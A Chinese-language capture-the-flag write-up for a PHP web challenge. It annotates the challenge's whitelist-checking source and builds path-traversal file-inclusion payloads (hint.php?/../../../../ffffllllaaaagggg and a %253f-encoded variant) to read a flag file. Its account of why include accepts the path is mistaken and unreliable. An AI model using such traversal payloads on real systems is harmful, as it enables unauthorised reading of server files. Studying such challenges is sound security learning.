首先先查一下网页元素
发现,里面提示是有一个源码的,,,,在url后面加上/source.php(执行脚本语言被服务端执行并返回页面)
访问之后得到源码
<?php
highlight_file(__FILE__); $whitelist 是白名单,可以执行,有响应,大概就是这个意思。
class emmm
{
public static function checkFile(&$page) ////在这里定义了一个我看懂的函数,大概是检查的作用
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; !!!!!!!这里明显标注了还有一个hint.php文件
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false; !!!!!!检查是不是为空; 判断是不是字符串 ;判断是否符合上面那个函数定义的要求
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false; !!!!!!!!!!中间都是判断输入是否符合哪些条件,用来输出flag
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file']) !!!!!!!!!!!!!
($_REQUEST 是通过 GET,POST 和 COOKIE 输入机制来传递参数,下面偷懒就用get方式传值)
!! 例如 http://111.198.29.45:48818/source.php?file=source.php?(payload)
!! 例如 http://111.198.29.45:48818/source.php?file=hint.php?(payload)
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; //这里就是输出网页上那个图片的源码
}
?>
接下来就是看懂这一段源码,里面提示了是有一个hint.php文件的
接下来再访问一下
得到 flag not here, and flag in ffffllllaaaagggg
接下来是要构造payload ,这里要使用到include函数
ffffllllaaaagggg是在hint.php中发现的,显然flag在这个文件里。其实文件名提示了我们要使用四层目录,(使用几层目录,纯粹是试出来的,不懂别人是怎么知道四层的)
?file=hint.php%253f/../../../../ffffllllaaaagggg (这样也是可以绕过检查得到flag的,只是里面的%253f不懂是什么,可能是PHP语法之类的,还没学)
运行一下就可以得到flag
正常的?就可以,不用编码,这是include的一个特性
如果include包含的文件中含有路径,就会包含最后一个/后面的文件,因此直接构造payload:source.php?file=hint.php?/../../../../../../ffffllllaaaagggg
本来是会包含hint.php文件的,但是后面出现了../,就包含了最后面的ffffllllaaaagggg
有多少../ 在哪一层目录完全是可以自己去试出来的。
include函数有这么一个神奇的功能:以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。